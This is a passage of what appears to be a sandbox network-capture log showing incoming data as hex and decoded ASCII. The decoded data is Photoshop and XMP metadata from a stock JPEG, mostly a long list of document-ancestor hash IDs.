2022-07-20 17:08:49 UTC	2936	IN	Data Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 74 69 65 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 74 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 32 30 36 34 39 38 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 37 3a 33 35 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 Data Ascii: e C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringOutdoorActivities\_CHOSEN\Crops\MIT-SpringOutdoorActivity_GettyImages-642064988_1920x1080.jpg saved 2018-03-21T17:35:45-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017
2022-07-20 17:08:49 UTC	2952	IN	Data Raw: 41 31 37 36 36 46 30 31 36 43 38 44 37 43 33 30 45 44 30 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 39 43 38 38 41 42 31 41 32 44 42 43 43 30 43 31 44 43 37 42 35 43 35 38 44 41 39 34 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 41 31 43 38 35 42 43 38 43 37 42 34 43 35 36 41 38 36 37 45 30 42 31 39 35 36 44 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 41 41 46 41 46 35 41 39 35 35 41 34 37 36 31 37 42 34 30 36 46 45 34 36 46 37 39 42 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 41 46 30 43 31 45 34 33 36 38 41 44 37 45 45 33 42 33 35 39 32 32 36 39 37 46 36 32 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 42 32 34 32 38 31 30 36 37 41 43 35 35 45 Data Ascii: A1766F016C8D7C30ED05E</rdf:li> <rdf:li>0A9C88AB1A2DBCC0C1DC7B5C58DA948A</rdf:li> <rdf:li>0AA1C85BC8C7B4C56A867E0B1956D222</rdf:li> <rdf:li>0AAAFAF5A955A47617B406FE46F79B51</rdf:li> <rdf:li>0AAF0C1E4368AD7EE3B35922697F62B1</rdf:li> <rdf:li>0AB24281067AC55E
2022-07-20 17:08:49 UTC	2960	IN	Data Raw: 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 35 45 39 45 42 39 41 35 31 31 45 38 45 44 34 31 33 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 33 32 39 34 46 34 41 41 38 39 43 39 37 46 30 39 46 45 43 43 34 46 30 30 32 36 42 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 44 39 45 30 44 38 42 38 41 30 35 38 32 37 30 42 36 34 37 36 34 39 44 44 41 39 46 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 37 32 41 34 30 37 46 31 43 41 44 34 42 30 36 42 Data Ascii: 4D4EEA6225EA859DB56</rdf:li> <rdf:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED615E9EB9A511E8ED41398</rdf:li> <rdf:li>1043294F4AA89C97F09FECC4F0026B76</rdf:li> <rdf:li>104D9E0D8B8A058270B647649DDA9F5C</rdf:li> <rdf:li>1072A407F1CAD4B06B
2022-07-20 17:08:49 UTC	2976	IN	Data Raw: 6c 69 3e 31 42 45 36 38 34 46 35 39 35 43 32 36 45 45 46 32 30 44 35 41 34 39 31 33 30 44 30 37 33 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 45 43 38 36 33 43 43 30 33 36 37 35 31 31 30 42 31 36 32 46 37 34 46 37 42 37 44 36 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 46 43 30 45 39 37 44 35 30 31 33 33 36 37 33 45 45 39 43 33 46 44 33 35 41 43 45 30 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 46 44 37 31 43 42 43 36 39 31 32 39 36 39 34 42 38 31 36 38 32 32 34 34 32 32 33 30 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 30 37 31 31 39 37 35 46 39 39 41 44 43 42 38 43 38 35 42 46 43 36 43 32 32 38 39 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 Data Ascii: li>1BE684F595C26EEF20D5A49130D073BF</rdf:li> <rdf:li>1BEC863CC03675110B162F74F7B7D607</rdf:li> <rdf:li>1BFC0E97D50133673EE9C3FD35ACE094</rdf:li> <rdf:li>1BFD71CBC69129694B816822442230E6</rdf:li> <rdf:li>1C0711975F99ADCB8C85BFC6C2289379</rdf:li> <rdf:li>1C
2022-07-20 17:08:49 UTC	2992	IN	Data Raw: 31 46 32 41 37 35 45 38 46 43 38 42 32 34 30 38 33 42 36 31 45 36 39 35 42 37 42 46 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 32 41 42 39 31 32 45 31 30 39 46 34 46 41 45 43 35 46 35 44 30 46 44 36 42 36 35 42 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 32 42 38 44 44 41 31 42 43 41 36 42 30 42 39 46 38 35 37 35 31 43 46 46 42 34 39 35 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 33 31 41 45 46 36 32 31 33 38 30 38 42 45 35 44 36 37 36 44 45 33 38 36 43 35 42 37 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 33 41 41 45 34 35 30 32 32 33 33 46 32 35 43 36 37 30 30 31 38 31 41 42 46 32 42 32 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 34 36 31 36 34 Data Ascii: 1F2A75E8FC8B24083B61E695B7BF9B</rdf:li> <rdf:li>282AB912E109F4FAEC5F5D0FD6B65B33</rdf:li> <rdf:li>282B8DDA1BCA6B0B9F85751CFFB49559</rdf:li> <rdf:li>2831AEF6213808BE5D676DE386C5B718</rdf:li> <rdf:li>283AAE4502233F25C6700181ABF2B2BA</rdf:li> <rdf:li>2846164
2022-07-20 17:08:49 UTC	3000	IN	Data Raw: 34 38 46 37 36 42 33 36 44 36 44 43 39 34 34 38 39 32 38 31 35 38 39 30 32 37 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 39 43 36 45 46 44 44 44 44 34 45 41 46 43 33 32 32 34 44 44 31 44 34 34 35 35 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 41 33 33 44 30 35 46 31 30 46 35 30 31 35 37 35 38 38 38 31 31 37 37 36 38 36 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 42 31 36 44 31 38 44 38 33 39 35 37 39 35 33 32 33 37 35 41 35 31 45 42 31 41 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 39 39 30 30 45 35 32 36 35 35 32 35 36 42 46 31 33 34 45 31 30 34 38 38 32 45 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 46 45 35 31 32 Data Ascii: 48F76B36D6DC944892815890270F</rdf:li> <rdf:li>2D29C6EFDDDD4EAFC3224DD1D4455259</rdf:li> <rdf:li>2D2A33D05F10F501575888117768641D</rdf:li> <rdf:li>2D2B16D18D839579532375A51EB1A26C</rdf:li> <rdf:li>2D3D9900E52655256BF134E104882E3E</rdf:li> <rdf:li>2D3DFE512
2022-07-20 17:08:49 UTC	3016	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 37 39 31 41 39 46 39 34 31 45 30 42 31 32 39 30 36 32 41 39 37 32 34 43 31 31 34 30 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 38 30 33 46 41 42 30 45 45 34 34 44 35 44 42 39 30 42 38 30 38 36 43 32 36 38 34 35 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 38 36 42 44 37 31 34 42 41 43 42 45 44 44 46 37 41 39 30 35 44 44 41 32 30 36 35 42 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 41 39 35 39 30 46 36 45 32 44 36 33 37 42 31 32 45 36 34 41 30 38 32 46 33 34 35 46 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 41 42 33 43 43 39 32 32 31 39 42 45 30 34 46 31 41 37 37 46 43 42 38 44 38 45 38 46 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>39791A9F941E0B129062A9724C11405E</rdf:li> <rdf:li>39803FAB0EE44D5DB90B8086C268454B</rdf:li> <rdf:li>3986BD714BACBEDDF7A905DDA2065B76</rdf:li> <rdf:li>39A9590F6E2D637B12E64A082F345FCE</rdf:li> <rdf:li>39AB3CC92219BE04F1A77FCB8D8E8F4C</rdf:li> <
2022-07-20 17:08:49 UTC	3032	IN	Data Raw: 43 42 46 39 33 34 44 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 36 45 43 35 37 30 42 35 38 46 35 46 30 41 41 30 39 31 39 34 42 42 35 46 30 33 41 43 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 37 33 34 30 45 44 39 35 38 30 36 41 39 41 43 42 46 46 38 38 30 41 39 44 35 45 45 35 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 37 35 33 31 44 38 46 44 36 30 46 32 44 36 41 32 34 38 42 42 32 35 30 46 39 32 39 31 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 37 45 44 32 38 41 31 35 44 46 36 45 38 34 36 30 36 36 34 38 43 38 30 42 37 42 41 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 38 35 35 46 39 41 46 37 30 46 36 33 45 35 32 36 37 37 31 46 39 39 37 43 31 Data Ascii: CBF934DE81</rdf:li> <rdf:li>456EC570B58F5F0AA09194BB5F03ACE3</rdf:li> <rdf:li>457340ED95806A9ACBFF880A9D5EE525</rdf:li> <rdf:li>457531D8FD60F2D6A248BB250F929113</rdf:li> <rdf:li>457ED28A15DF6E84606648C80B7BA65A</rdf:li> <rdf:li>45855F9AF70F63E526771F997C1
2022-07-20 17:08:49 UTC	3040	IN	Data Raw: 43 39 44 44 33 46 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 38 37 39 43 43 35 46 38 36 42 36 44 39 44 42 34 31 31 44 38 34 32 37 38 34 41 41 34 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 39 31 36 35 43 45 38 45 31 42 37 32 44 36 44 30 33 43 45 43 44 33 46 33 39 41 43 42 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 39 44 44 37 37 45 34 38 33 43 46 33 42 38 34 41 45 34 34 43 44 43 32 38 39 39 42 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 30 35 43 36 37 37 36 44 33 44 44 41 32 44 35 38 38 37 34 32 33 32 35 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 Data Ascii: C9DD3F9B</rdf:li> <rdf:li>4A879CC5F86B6D9DB411D842784AA42A</rdf:li> <rdf:li>4A9165CE8E1B72D6D03CECD3F39ACB3A</rdf:li> <rdf:li>4A9DD77E483CF3B84AE44CDC2899BA58</rdf:li> <rdf:li>4AA05C6776D3DDA2D588742325D193A7</rdf:li> <rdf:li>4AA50E36784EDC7909920BD2FF3D7
2022-07-20 17:08:49 UTC	3056	IN	Data Raw: 39 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 42 41 43 31 43 46 31 37 35 32 44 41 41 34 36 36 43 36 32 36 44 46 33 36 45 43 41 34 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 43 33 43 35 46 43 33 42 41 34 39 43 46 43 33 34 46 41 43 33 46 43 39 39 36 45 38 43 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 43 43 30 42 33 42 32 45 46 39 45 44 39 45 38 36 39 41 39 44 43 32 39 44 41 38 46 46 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 44 34 34 42 42 41 45 37 36 33 37 35 35 35 32 44 43 36 35 42 45 44 32 32 45 44 45 37 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 46 38 30 39 41 35 46 33 37 36 41 37 37 32 42 45 45 39 34 35 39 34 37 30 36 42 34 42 36 39 3c 2f Data Ascii: 9DD</rdf:li> <rdf:li>56BAC1CF1752DAA466C626DF36ECA4C1</rdf:li> <rdf:li>56C3C5FC3BA49CFC34FAC3FC996E8C4E</rdf:li> <rdf:li>56CC0B3B2EF9ED9E869A9DC29DA8FF16</rdf:li> <rdf:li>56D44BBAE76375552DC65BED22EDE73E</rdf:li> <rdf:li>56F809A5F376A772BEE94594706B4B69</
2022-07-20 17:08:49 UTC	3072	IN	Data Raw: 30 34 46 38 33 46 38 34 30 30 33 37 30 36 38 38 33 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 33 46 39 45 41 36 43 44 37 38 44 36 45 43 46 31 46 44 39 43 41 34 44 42 35 32 34 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 36 31 32 41 44 35 33 31 37 41 38 33 30 45 30 44 45 46 41 45 44 44 34 41 43 43 42 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 36 35 31 45 37 32 46 46 33 42 36 43 46 46 30 38 30 42 36 46 42 38 39 34 44 38 39 31 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 42 31 39 32 41 42 46 30 36 41 45 35 46 41 31 46 42 32 31 38 44 34 39 43 41 34 30 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 44 31 31 46 31 33 31 37 33 33 45 35 42 30 44 33 Data Ascii: 04F83F8400370688373</rdf:li> <rdf:li>643F9EA6CD78D6ECF1FD9CA4DB524B30</rdf:li> <rdf:li>64612AD5317A830E0DEFAEDD4ACCB730</rdf:li> <rdf:li>64651E72FF3B6CFF080B6FB894D891B8</rdf:li> <rdf:li>64B192ABF06AE5FA1FB218D49CA408FE</rdf:li> <rdf:li>64D11F131733E5B0D3
2022-07-20 17:08:49 UTC	3079	IN	Data Raw: 31 43 37 34 46 34 35 41 34 44 41 46 45 41 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 30 46 30 38 35 35 42 41 41 37 35 43 31 44 32 30 46 43 41 38 39 38 39 42 46 44 31 34 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 31 34 30 46 45 44 36 36 37 42 44 43 43 41 31 36 41 37 45 44 33 42 46 44 45 35 33 41 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 31 41 34 32 39 33 42 45 44 38 41 34 30 36 45 34 32 46 42 36 35 30 30 46 44 37 38 42 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 31 41 44 31 42 30 33 37 45 36 30 43 36 30 33 36 36 43 32 36 39 30 31 36 39 43 46 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 31 46 35 42 37 41 33 44 46 30 30 32 44 43 38 44 44 39 Data Ascii: 1C74F45A4DAFEA96F</rdf:li> <rdf:li>6A0F0855BAA75C1D20FCA8989BFD142A</rdf:li> <rdf:li>6A140FED667BDCCA16A7ED3BFDE53AA7</rdf:li> <rdf:li>6A1A4293BED8A406E42FB6500FD78B2E</rdf:li> <rdf:li>6A1AD1B037E60C60366C2690169CF36A</rdf:li> <rdf:li>6A1F5B7A3DF002DC8DD9
2022-07-20 17:08:49 UTC	3095	IN	Data Raw: 3e 37 36 45 45 41 31 30 46 42 41 41 41 44 38 43 32 30 38 39 34 33 42 41 32 38 33 34 45 42 43 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 46 31 31 43 31 34 33 33 35 39 31 38 46 35 38 45 46 35 35 34 38 34 45 46 43 44 38 32 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 46 37 45 31 41 43 31 44 43 34 41 39 36 34 45 43 35 32 46 46 44 45 35 43 36 44 44 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 46 42 37 46 39 35 35 43 43 44 46 44 35 36 36 33 32 32 32 34 43 39 31 39 30 41 30 46 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 30 37 46 31 42 34 41 43 36 43 36 34 39 31 37 45 43 44 30 33 32 45 41 45 31 39 42 46 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 30 44 Data Ascii: >76EEA10FBAAAD8C208943BA2834EBCC6</rdf:li> <rdf:li>76F11C14335918F58EF55484EFCD8277</rdf:li> <rdf:li>76F7E1AC1DC4A964EC52FFDE5C6DD73D</rdf:li> <rdf:li>76FB7F955CCDFD56632224C9190A0F91</rdf:li> <rdf:li>7707F1B4AC6C64917ECD032EAE19BF9D</rdf:li> <rdf:li>770D
2022-07-20 17:08:49 UTC	3111	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 34 43 42 30 36 39 37 30 30 41 33 32 45 38 31 45 38 39 44 43 32 36 38 39 36 37 35 32 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 35 31 41 38 35 41 44 37 34 39 44 44 33 36 37 37 39 45 32 33 32 45 34 30 33 37 38 45 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 35 33 46 37 43 34 45 38 38 38 38 35 43 30 39 37 30 37 34 34 31 37 41 38 39 45 42 34 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 35 39 44 43 41 44 46 33 44 46 38 39 31 43 32 32 43 34 35 32 37 34 44 41 37 43 46 34 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 35 41 45 45 42 33 35 38 42 41 39 45 32 41 39 34 39 38 42 42 37 35 36 44 33 36 34 34 43 31 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>834CB069700A32E81E89DC2689675207</rdf:li> <rdf:li>8351A85AD749DD36779E232E40378E78</rdf:li> <rdf:li>8353F7C4E88885C097074417A89EB495</rdf:li> <rdf:li>8359DCADF3DF891C22C45274DA7CF49D</rdf:li> <rdf:li>835AEEB358BA9E2A9498BB756D3644C1</rdf:
2022-07-20 17:08:49 UTC	3119	IN	Data Raw: 35 45 33 44 34 45 36 42 36 46 36 37 43 38 32 34 35 39 37 36 46 41 43 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 35 31 39 37 30 44 44 45 43 44 45 38 45 31 30 39 44 38 44 44 42 42 34 38 33 35 32 31 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 35 38 45 36 30 37 39 35 34 44 35 45 31 35 44 42 45 39 43 36 35 31 37 34 46 43 37 34 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 35 44 46 39 30 34 42 46 35 37 43 31 36 38 31 43 39 44 44 35 44 45 31 44 37 33 44 43 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 36 44 39 45 43 45 45 38 41 34 42 32 46 43 38 30 43 44 38 30 38 38 32 39 46 38 43 42 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 37 36 35 36 37 45 38 34 42 Data Ascii: 5E3D4E6B6F67C8245976FACB41</rdf:li> <rdf:li>8851970DDECDE8E109D8DDBB4835216F</rdf:li> <rdf:li>8858E607954D5E15DBE9C65174FC7432</rdf:li> <rdf:li>885DF904BF57C1681C9DD5DE1D73DCD8</rdf:li> <rdf:li>886D9ECEE8A4B2FC80CD808829F8CBA5</rdf:li> <rdf:li>8876567E84B
2022-07-20 17:08:49 UTC	3135	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 41 35 41 42 32 43 42 38 34 38 31 46 37 41 37 35 37 38 36 43 44 35 41 42 39 32 42 46 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 41 41 31 35 46 34 39 32 44 34 33 32 33 34 46 44 35 31 31 43 42 35 44 31 33 37 33 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 42 33 32 41 42 42 38 32 44 30 34 33 30 33 41 43 45 32 42 34 43 31 45 39 44 32 38 37 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 42 36 44 46 41 43 38 33 42 42 30 34 31 41 43 41 42 33 37 46 37 36 39 38 30 43 30 33 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 42 43 30 34 35 45 41 44 36 38 43 45 35 38 42 31 32 39 38 45 45 41 44 45 37 35 35 37 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>94A5AB2CB8481F7A75786CD5AB92BF13</rdf:li> <rdf:li>94AA15F492D43234FD511CB5D1373C3A</rdf:li> <rdf:li>94B32ABB82D04303ACE2B4C1E9D28754</rdf:li> <rdf:li>94B6DFAC83BB041ACAB37F76980C0336</rdf:li> <rdf:li>94BC045EAD68CE58B1298EEADE7557BA</rdf:li> <rd
2022-07-20 17:08:49 UTC	3151	IN	Data Raw: 46 36 44 43 39 31 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 46 34 30 44 41 30 34 35 44 45 32 35 35 46 44 44 38 43 43 30 35 43 35 41 32 35 41 45 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 46 35 30 32 32 35 41 44 46 30 37 38 42 43 42 33 44 35 31 45 45 30 31 42 46 31 32 41 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 31 31 32 39 43 41 36 33 42 45 43 42 32 34 43 32 46 37 30 41 32 44 36 31 38 41 35 31 34 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 31 31 32 46 41 33 33 45 41 38 42 38 44 32 42 45 45 35 42 46 36 42 37 32 34 45 37 38 31 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 31 31 39 42 39 39 31 46 36 34 43 33 38 43 37 30 33 30 39 33 31 33 37 43 39 46 33 35 Data Ascii: F6DC91F5</rdf:li> <rdf:li>A0F40DA045DE255FDD8CC05C5A25AE5B</rdf:li> <rdf:li>A0F50225ADF078BCB3D51EE01BF12A2C</rdf:li> <rdf:li>A1129CA63BECB24C2F70A2D618A514A6</rdf:li> <rdf:li>A112FA33EA8B8D2BEE5BF6B724E781BD</rdf:li> <rdf:li>A119B991F64C38C703093137C9F35
2022-07-20 17:08:49 UTC	3159	IN	Data Raw: 39 33 30 45 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 37 38 39 37 38 44 33 34 31 44 33 34 43 42 46 41 45 37 39 41 37 46 35 39 39 39 38 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 37 41 30 30 37 33 38 45 39 30 46 45 30 38 45 43 33 31 44 30 39 45 41 46 45 39 34 32 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 37 44 38 37 44 42 46 36 46 42 32 42 35 32 45 41 39 32 43 37 39 44 43 37 42 31 45 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 38 39 31 42 33 46 45 37 32 43 39 39 42 35 39 46 46 45 46 30 43 44 37 44 33 35 35 33 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 39 41 43 45 42 43 30 45 30 33 41 33 46 38 42 37 31 36 31 36 39 43 43 31 43 42 36 37 39 Data Ascii: 930E9F</rdf:li> <rdf:li>A678978D341D34CBFAE79A7F59998EC4</rdf:li> <rdf:li>A67A00738E90FE08EC31D09EAFE94229</rdf:li> <rdf:li>A67D87DBF6FB2B52EA92C79DC7B1E9D1</rdf:li> <rdf:li>A6891B3FE72C99B59FFEF0CD7D3553A8</rdf:li> <rdf:li>A69ACEBC0E03A3F8B716169CC1CB679
2022-07-20 17:08:49 UTC	3175	IN	Data Raw: 30 36 44 34 44 33 45 38 42 41 46 30 33 44 46 41 36 42 44 34 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 34 38 44 30 36 35 42 37 35 41 42 34 41 38 46 43 32 39 34 46 45 37 35 31 45 32 33 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 35 39 36 39 45 35 32 37 30 42 45 44 43 33 34 37 30 43 37 31 30 46 39 42 30 37 44 41 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 35 45 32 41 30 32 44 30 36 33 30 43 39 33 36 45 37 42 38 44 41 45 32 34 44 42 38 32 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 36 30 39 42 44 45 36 31 34 36 45 33 33 45 36 34 43 43 33 45 32 33 37 39 45 42 41 37 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 36 35 31 42 32 41 34 42 42 31 41 44 35 Data Ascii: 06D4D3E8BAF03DFA6BD476</rdf:li> <rdf:li>B248D065B75AB4A8FC294FE751E23143</rdf:li> <rdf:li>B25969E5270BEDC3470C710F9B07DA8C</rdf:li> <rdf:li>B25E2A02D0630C936E7B8DAE24DB82AC</rdf:li> <rdf:li>B2609BDE6146E33E64CC3E2379EBA760</rdf:li> <rdf:li>B2651B2A4BB1AD5
